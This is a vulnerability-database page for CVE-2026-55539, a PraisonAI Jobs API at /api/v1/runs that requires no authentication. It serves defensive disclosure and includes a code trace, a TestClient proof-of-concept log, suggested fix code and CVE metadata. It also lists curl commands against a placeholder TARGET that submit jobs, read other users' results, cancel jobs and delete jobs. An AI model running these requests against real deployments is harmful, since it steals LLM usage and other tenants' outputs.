Vulnerability-Lookup

GHSA-2JGC-F764-C5R2

Vulnerability from github – Published: 2026-08-25 15:14 – Updated: 2026-08-25 15:14

Summary

PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete

Details

Summary

PraisonAI's async Jobs API (the FastAPI service in praisonai/jobs/) installs its router with no authentication middleware, no router-level dependency, and no per-route auth check. Any caller who can reach the jobs server can submit agent jobs (executed against the operator's configured LLM credentials), list every job in the shared store, read other jobs' results, cancel running jobs, and delete terminal jobs — with no token, cookie, session, or per-job ownership value.

The server's default bind is 127.0.0.1, so remote reach requires an operator to bind a public interface, container-publish, reverse-proxy, or tunnel the service. Once reachable, the primitive is fully pre-authenticated.

This is a distinct, still-unpatched sibling of CVE-2026-44338. That CVE (GHSA-6rmh-7xcm-cpxj, fixed in 4.6.34) covered only the legacy Flask server src/praisonai/api_server.py. The fix added AUTH_ENABLED/AUTH_TOKEN/check_auth() to that file and did not touch the FastAPI jobs module. At the latest commit (9fcac3a, version 4.6.51) the legacy Flask server is patched but the jobs API remains completely unauthenticated.

Technical Detail

Source-to-sink trace

The FastAPI app includes the jobs router with only CORS middleware — no auth (server.py, create_app):

# src/praisonai/praisonai/jobs/server.py
def create_app(store=None, executor=None, cors_origins=None) -> FastAPI:
    app = FastAPI(title="PraisonAI Jobs API", ...)
    # ... CORS middleware only (allow_headers includes "Authorization",
    #     but CORS is not authentication) ...
    jobs_router = create_router(get_store(), get_executor())
    app.include_router(jobs_router)        # no dependencies=[Depends(...)]

The router (built inside create_router()) registers every job operation with no auth dependency. The only Header(...) parameter anywhere is the Idempotency-Key, which is deduplication, not authorization:

# src/praisonai/praisonai/jobs/router.py
router = APIRouter(prefix="/api/v1/runs", tags=["jobs"])

@router.post("",          status_code=202)  async def submit_job(request, response, body, idempotency_key=Header(None, alias="Idempotency-Key")): ...
@router.get("")                              async def list_jobs(status=None, session_id=None, page=1, page_size=20): ...
@router.get("/{job_id}")                     async def get_job_status(job_id): ...
@router.get("/{job_id}/result")              async def get_job_result(job_id): ...
@router.post("/{job_id}/cancel")             async def cancel_job(job_id): ...
@router.delete("/{job_id}", status_code=204) async def delete_job(job_id): ...
@router.get("/{job_id}/stream")              async def stream_job(job_id): ...

submit_job() builds a Job from attacker-controlled JSON and submits it. The executor saves and schedules it, and for the default praisonai framework runs the attacker prompt against a real agent:

# executor.py — submit() -> _execute_job() -> _run_agent() -> _run_praisonai_agents()
agent = Agent(instructions="You are a helpful AI assistant.", output="minimal")
result = await asyncio.to_thread(agent.start, job.prompt)   # attacker-controlled prompt

The in-memory store has no owner / principal / user concept. list_jobs() returns the whole store filtered only by caller-supplied status/session_id:

# store.py
async def list_jobs(self, status=None, session_id=None, limit=20, offset=0):
    jobs = list(self._jobs.values())        # global; no owner binding
    if session_id: jobs = [j for j in jobs if j.session_id == session_id]
    ...

Distinction from CVE-2026-44338 (critical for triage)

	CVE-2026-44338 (already fixed)	This finding
Component	Legacy Flask `src/praisonai/api_server.py`	FastAPI `praisonai/jobs/`
Endpoints	`GET /agents`, `POST /chat`	`/api/v1/runs` (submit/list/get/result/cancel/delete/stream)
Root cause	`AUTH_ENABLED=False`, `AUTH_TOKEN=None`, no-op `check_auth()`	No auth dependency, middleware, or token exists at all
Status at 4.6.51	Patched (auth enabled by default, token auto-generated, `secrets.compare_digest`)	Unpatched

The 4.6.34 remediation hardened only the Flask file. The jobs module is a separate code path that the fix did not reach.

Trigger conditions

Start the server, e.g. python -m uvicorn praisonai.jobs.server:create_app --port 8005 --factory.
Make it reachable (--host 0.0.0.0, container publish, reverse proxy, tunnel).
Send unauthenticated requests to POST/GET /api/v1/runs, GET /api/v1/runs/{id}, GET /api/v1/runs/{id}/result, POST /api/v1/runs/{id}/cancel, DELETE /api/v1/runs/{id}.

Proof of Concept

Verified dynamically by running the real praisonai.jobs router, executor, and store over HTTP via FastAPI TestClient. The only stub is praisonaiagents.Agent (its .start() returns canned text), so no real LLM call and no API credentials were used. Every request below was sent with no Authorization header, cookie, or token (the runner asserts Authorization sent: None on each).

## Unauth POST /api/v1/runs (submit job)
   POST /api/v1/runs            -> HTTP 202   Authorization sent: None
   body: {"job_id":"run_de282b4c3f1c","status":"queued", ...}

## Unauth GET /api/v1/runs (list every job in shared store)
   GET /api/v1/runs             -> HTTP 200   Authorization sent: None
   body: {"jobs":[{"job_id":"run_de282b4c3f1c","status":"succeeded", ...}], "total":1, ...}

## Unauth GET /api/v1/runs/{id}/result (read tenant output)
   GET /api/v1/runs/.../result  -> HTTP 200   Authorization sent: None
   body: {"result":"TENANT-PRIVATE-OUTPUT for prompt='attacker-controlled job'", ...}

## Unauth POST /api/v1/runs/{id}/cancel (cancel a RUNNING job)
   t=0.0s status=running ... t=2.0s status=running
   POST /api/v1/runs/.../cancel -> HTTP 200   Authorization sent: None
   after cancel status=cancelled

## Unauth DELETE /api/v1/runs/{id} (delete terminal job)
   DELETE /api/v1/runs/...       -> HTTP 204   Authorization sent: None

Each privileged operation succeeded with zero credentials. (The result endpoint returns a different job's stored output — the cross-job confidentiality primitive.)

Equivalent trigger in a fully installed, network-exposed deployment

python -m uvicorn praisonai.jobs.server:create_app --host 0.0.0.0 --port 8005 --factory

curl -sS -X POST http://TARGET:8005/api/v1/runs \
  -H 'Content-Type: application/json' \
  --data-binary '{"prompt":"attacker controlled job","timeout":3600}'
curl -sS http://TARGET:8005/api/v1/runs
curl -sS http://TARGET:8005/api/v1/runs/<job_id>/result
curl -sS -X POST http://TARGET:8005/api/v1/runs/<job_id>/cancel
curl -sS -X DELETE http://TARGET:8005/api/v1/runs/<job_id>

Impact

Execution / cost: unauthenticated callers run arbitrary prompts against the operator's configured LLM credentials, and can queue long-running jobs (up to timeout, default 3600s) consuming CPU, memory, queue slots, and provider billing.
Confidentiality: callers list all jobs (GET /api/v1/runs) and read completed results from the shared store — other callers' agent outputs.
Integrity / control: callers cancel running jobs and delete terminal jobs. The realistic worst case is a reachable jobs endpoint used to run unauthorized prompts on the operator's LLM account, then enumerate and exfiltrate other jobs' outputs.

Suggested Mitigation

Mirror the fix already applied to the legacy Flask server (CVE-2026-44338), but for the jobs router:

Add a jobs-server auth token (e.g. PRAISONAI_JOBS_API_TOKEN) and require it on every /api/v1/runs route via a router-level dependency, so future routes inherit protection by default.
Use constant-time comparison (hmac.compare_digest / secrets.compare_digest).
Add per-job ownership / scoped job tokens so one caller cannot list, read, cancel, or delete another caller's jobs.
Keep 127.0.0.1 as default; warn or refuse when binding a public interface without auth configured.
Regression tests asserting unauthenticated POST / GET / cancel / delete return 401 when auth is enabled.

import hmac, os
from fastapi import Depends, Header, HTTPException

def verify_jobs_token(authorization: str | None = Header(None),
                      x_api_key: str | None = Header(None, alias="X-API-Key")):
    expected = os.getenv("PRAISONAI_JOBS_API_TOKEN")
    if not expected:
        raise HTTPException(401, "Jobs API auth is not configured")
    token = x_api_key
    if authorization and authorization.startswith("Bearer "):
        token = authorization[7:]
    if not token or not hmac.compare_digest(token, expected):
        raise HTTPException(401, "Unauthorized")

# create_router(...) -> APIRouter(prefix="/api/v1/runs", dependencies=[Depends(verify_jobs_token)])

Severity

8.6 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.58"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55539"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-25T15:14:27Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nPraisonAI\u0027s async **Jobs API** (the FastAPI service in `praisonai/jobs/`) installs its router with no authentication middleware, no router-level dependency, and no per-route auth check. Any caller who can reach the jobs server can submit agent jobs (executed against the operator\u0027s configured LLM credentials), list every job in the shared store, read other jobs\u0027 results, cancel running jobs, and delete terminal jobs \u2014 with no token, cookie, session, or per-job ownership value.\n \nThe server\u0027s default bind is `127.0.0.1`, so remote reach requires an operator to bind a public interface, container-publish, reverse-proxy, or tunnel the service. Once reachable, the primitive is fully pre-authenticated.\n \n**This is a distinct, still-unpatched sibling of CVE-2026-44338.** That CVE (GHSA-6rmh-7xcm-cpxj, fixed in 4.6.34) covered only the *legacy Flask* server `src/praisonai/api_server.py`. The fix added `AUTH_ENABLED`/`AUTH_TOKEN`/`check_auth()` to that file and did **not** touch the FastAPI jobs module. At the latest commit (`9fcac3a`, version **4.6.51**) the legacy Flask server is patched but the jobs API remains completely unauthenticated.\n\n## Technical Detail\n \n### Source-to-sink trace\n \nThe FastAPI app includes the jobs router with only CORS middleware \u2014 no auth (`server.py`, `create_app`):\n \n```python\n# src/praisonai/praisonai/jobs/server.py\ndef create_app(store=None, executor=None, cors_origins=None) -\u003e FastAPI:\n    app = FastAPI(title=\"PraisonAI Jobs API\", ...)\n    # ... CORS middleware only (allow_headers includes \"Authorization\",\n    #     but CORS is not authentication) ...\n    jobs_router = create_router(get_store(), get_executor())\n    app.include_router(jobs_router)        # no dependencies=[Depends(...)]\n```\n \nThe router (built inside `create_router()`) registers every job operation with no auth dependency. The only `Header(...)` parameter anywhere is the `Idempotency-Key`, which is deduplication, not authorization:\n \n```python\n# src/praisonai/praisonai/jobs/router.py\nrouter = APIRouter(prefix=\"/api/v1/runs\", tags=[\"jobs\"])\n \n@router.post(\"\",          status_code=202)  async def submit_job(request, response, body, idempotency_key=Header(None, alias=\"Idempotency-Key\")): ...\n@router.get(\"\")                              async def list_jobs(status=None, session_id=None, page=1, page_size=20): ...\n@router.get(\"/{job_id}\")                     async def get_job_status(job_id): ...\n@router.get(\"/{job_id}/result\")              async def get_job_result(job_id): ...\n@router.post(\"/{job_id}/cancel\")             async def cancel_job(job_id): ...\n@router.delete(\"/{job_id}\", status_code=204) async def delete_job(job_id): ...\n@router.get(\"/{job_id}/stream\")              async def stream_job(job_id): ...\n```\n \n`submit_job()` builds a `Job` from attacker-controlled JSON and submits it. The executor saves and schedules it, and for the default `praisonai` framework runs the attacker prompt against a real agent:\n \n```python\n# executor.py \u2014 submit() -\u003e _execute_job() -\u003e _run_agent() -\u003e _run_praisonai_agents()\nagent = Agent(instructions=\"You are a helpful AI assistant.\", output=\"minimal\")\nresult = await asyncio.to_thread(agent.start, job.prompt)   # attacker-controlled prompt\n```\n \nThe in-memory store has **no owner / principal / user concept**. `list_jobs()` returns the whole store filtered only by caller-supplied `status`/`session_id`:\n \n```python\n# store.py\nasync def list_jobs(self, status=None, session_id=None, limit=20, offset=0):\n    jobs = list(self._jobs.values())        # global; no owner binding\n    if session_id: jobs = [j for j in jobs if j.session_id == session_id]\n    ...\n```\n \nA repository-wide grep of `jobs/` for `Depends|verify|token|authorization|bearer|x-api-key|HTTPBearer|AUTH_ENABLED|check_auth` returns **only** the string `\"Authorization\"` inside the CORS `allow_headers` list. There is no authentication primitive in the module.\n \n### Distinction from CVE-2026-44338 (critical for triage)\n \n| | CVE-2026-44338 (already fixed) | This finding |\n|---|---|---|\n| Component | Legacy Flask `src/praisonai/api_server.py` | FastAPI `praisonai/jobs/` |\n| Endpoints | `GET /agents`, `POST /chat` | `/api/v1/runs` (submit/list/get/result/cancel/delete/stream) |\n| Root cause | `AUTH_ENABLED=False`, `AUTH_TOKEN=None`, no-op `check_auth()` | No auth dependency, middleware, or token exists at all |\n| Status at 4.6.51 | **Patched** (auth enabled by default, token auto-generated, `secrets.compare_digest`) | **Unpatched** |\n \nThe 4.6.34 remediation hardened only the Flask file. The jobs module is a separate code path that the fix did not reach.\n \n### Trigger conditions\n \n1. Start the server, e.g. `python -m uvicorn praisonai.jobs.server:create_app --port 8005 --factory`.\n2. Make it reachable (`--host 0.0.0.0`, container publish, reverse proxy, tunnel).\n3. Send unauthenticated requests to `POST/GET /api/v1/runs`, `GET /api/v1/runs/{id}`, `GET /api/v1/runs/{id}/result`, `POST /api/v1/runs/{id}/cancel`, `DELETE /api/v1/runs/{id}`.\n\n## Proof of Concept\n \nVerified dynamically by running the **real** `praisonai.jobs` router, executor, and store over HTTP via FastAPI `TestClient`. The only stub is `praisonaiagents.Agent` (its `.start()` returns canned text), so **no real LLM call and no API credentials were used**. Every request below was sent with **no `Authorization` header, cookie, or token** (the runner asserts `Authorization sent: None` on each).\n \n```\n## Unauth POST /api/v1/runs (submit job)\n   POST /api/v1/runs            -\u003e HTTP 202   Authorization sent: None\n   body: {\"job_id\":\"run_de282b4c3f1c\",\"status\":\"queued\", ...}\n \n## Unauth GET /api/v1/runs (list every job in shared store)\n   GET /api/v1/runs             -\u003e HTTP 200   Authorization sent: None\n   body: {\"jobs\":[{\"job_id\":\"run_de282b4c3f1c\",\"status\":\"succeeded\", ...}], \"total\":1, ...}\n \n## Unauth GET /api/v1/runs/{id}/result (read tenant output)\n   GET /api/v1/runs/.../result  -\u003e HTTP 200   Authorization sent: None\n   body: {\"result\":\"TENANT-PRIVATE-OUTPUT for prompt=\u0027attacker-controlled job\u0027\", ...}\n \n## Unauth POST /api/v1/runs/{id}/cancel (cancel a RUNNING job)\n   t=0.0s status=running ... t=2.0s status=running\n   POST /api/v1/runs/.../cancel -\u003e HTTP 200   Authorization sent: None\n   after cancel status=cancelled\n \n## Unauth DELETE /api/v1/runs/{id} (delete terminal job)\n   DELETE /api/v1/runs/...       -\u003e HTTP 204   Authorization sent: None\n```\n \nEach privileged operation succeeded with zero credentials. (The result endpoint returns a different job\u0027s stored output \u2014 the cross-job confidentiality primitive.)\n \n### Equivalent trigger in a fully installed, network-exposed deployment\n \n```bash\npython -m uvicorn praisonai.jobs.server:create_app --host 0.0.0.0 --port 8005 --factory\n \ncurl -sS -X POST http://TARGET:8005/api/v1/runs \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data-binary \u0027{\"prompt\":\"attacker controlled job\",\"timeout\":3600}\u0027\ncurl -sS http://TARGET:8005/api/v1/runs\ncurl -sS http://TARGET:8005/api/v1/runs/\u003cjob_id\u003e/result\ncurl -sS -X POST http://TARGET:8005/api/v1/runs/\u003cjob_id\u003e/cancel\ncurl -sS -X DELETE http://TARGET:8005/api/v1/runs/\u003cjob_id\u003e\n```\n \n## Impact\n \n- **Execution / cost**: unauthenticated callers run arbitrary prompts against the operator\u0027s configured LLM credentials, and can queue long-running jobs (up to `timeout`, default 3600s) consuming CPU, memory, queue slots, and provider billing.\n- **Confidentiality**: callers list all jobs (`GET /api/v1/runs`) and read completed results from the shared store \u2014 other callers\u0027 agent outputs.\n- **Integrity / control**: callers cancel running jobs and delete terminal jobs.\nThe realistic worst case is a reachable jobs endpoint used to run unauthorized prompts on the operator\u0027s LLM account, then enumerate and exfiltrate other jobs\u0027 outputs.\n \n## Suggested Mitigation\n \nMirror the fix already applied to the legacy Flask server (CVE-2026-44338), but for the jobs router:\n \n- Add a jobs-server auth token (e.g. `PRAISONAI_JOBS_API_TOKEN`) and require it on every `/api/v1/runs` route via a **router-level dependency**, so future routes inherit protection by default.\n- Use constant-time comparison (`hmac.compare_digest` / `secrets.compare_digest`).\n- Add per-job ownership / scoped job tokens so one caller cannot list, read, cancel, or delete another caller\u0027s jobs.\n- Keep `127.0.0.1` as default; warn or refuse when binding a public interface without auth configured.\n- Regression tests asserting unauthenticated `POST` / `GET` / `cancel` / `delete` return `401` when auth is enabled.\n```python\nimport hmac, os\nfrom fastapi import Depends, Header, HTTPException\n \ndef verify_jobs_token(authorization: str | None = Header(None),\n                      x_api_key: str | None = Header(None, alias=\"X-API-Key\")):\n    expected = os.getenv(\"PRAISONAI_JOBS_API_TOKEN\")\n    if not expected:\n        raise HTTPException(401, \"Jobs API auth is not configured\")\n    token = x_api_key\n    if authorization and authorization.startswith(\"Bearer \"):\n        token = authorization[7:]\n    if not token or not hmac.compare_digest(token, expected):\n        raise HTTPException(401, \"Unauthorized\")\n \n# create_router(...) -\u003e APIRouter(prefix=\"/api/v1/runs\", dependencies=[Depends(verify_jobs_token)])\n```",
  "id": "GHSA-2jgc-f764-c5r2",
  "modified": "2026-08-25T15:14:27Z",
  "published": "2026-08-25T15:14:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2jgc-f764-c5r2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication \u2014 unauthenticated job execution, result theft, cancel and delete"
}

CVE-2026-55539 (GCVE-0-2026-55539)

Vulnerability from cvelistv5 – Published: 2026-08-25 15:14 – Updated: 2026-08-25 19:20

Title

PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete

Summary

PraisonAI is a multi-agent teams system. Prior to praisonai 4.6.51, the Jobs API create_app function mounts /api/v1/runs without authentication. Any reachable caller can submit jobs, read results, cancel runs, or delete jobs using operator credentials. The fix adds PRAISONAI_JOBS_API_KEY middleware for Authorization or X-API-Key. This issue is fixed in version 4.6.58.

Severity

8.6 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H

SSVC

Exploitation: none Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-08-25 18:38 UTC

CWE

CWE-306 - Missing Authentication for Critical Function

Assigner

GitHub_M mitre root

References

3 references

URL	Tags
https://github.com/MervinPraison/PraisonAI/securi…	x_refsource_CONFIRM
https://github.com/MervinPraison/PraisonAI/commit…	x_refsource_MISC
https://github.com/MervinPraison/PraisonAI/releas…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
MervinPraison	PraisonAI	Affected: < 4.6.58

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-55539",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-08-25T18:38:30.987106Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-08-25T19:20:57.949Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "PraisonAI",
          "vendor": "MervinPraison",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 4.6.58"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "PraisonAI is a multi-agent teams system. Prior to praisonai 4.6.51, the Jobs API create_app function mounts /api/v1/runs without authentication. Any reachable caller can submit jobs, read results, cancel runs, or delete jobs using operator credentials. The fix adds PRAISONAI_JOBS_API_KEY middleware for Authorization or X-API-Key. This issue is fixed in version 4.6.58."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.6,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-306",
              "description": "CWE-306: Missing Authentication for Critical Function",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-08-25T15:14:07.109Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2jgc-f764-c5r2",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2jgc-f764-c5r2"
        },
        {
          "name": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
        },
        {
          "name": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
        }
      ],
      "source": {
        "advisory": "GHSA-2jgc-f764-c5r2",
        "discovery": "UNKNOWN"
      },
      "title": "PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication \u2014 unauthenticated job execution, result theft, cancel and delete"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-55539",
    "datePublished": "2026-08-25T15:14:07.109Z",
    "dateReserved": "2026-06-16T23:01:04.074Z",
    "dateUpdated": "2026-08-25T19:20:57.949Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

GHSA-2JGC-F764-C5R2

Summary

Technical Detail

Source-to-sink trace

Distinction from CVE-2026-44338 (critical for triage)

Trigger conditions

Proof of Concept

Equivalent trigger in a fully installed, network-exposed deployment

Impact

Suggested Mitigation

CVE-2026-55539 (GCVE-0-2026-55539)

Tags

Sightings

Nomenclature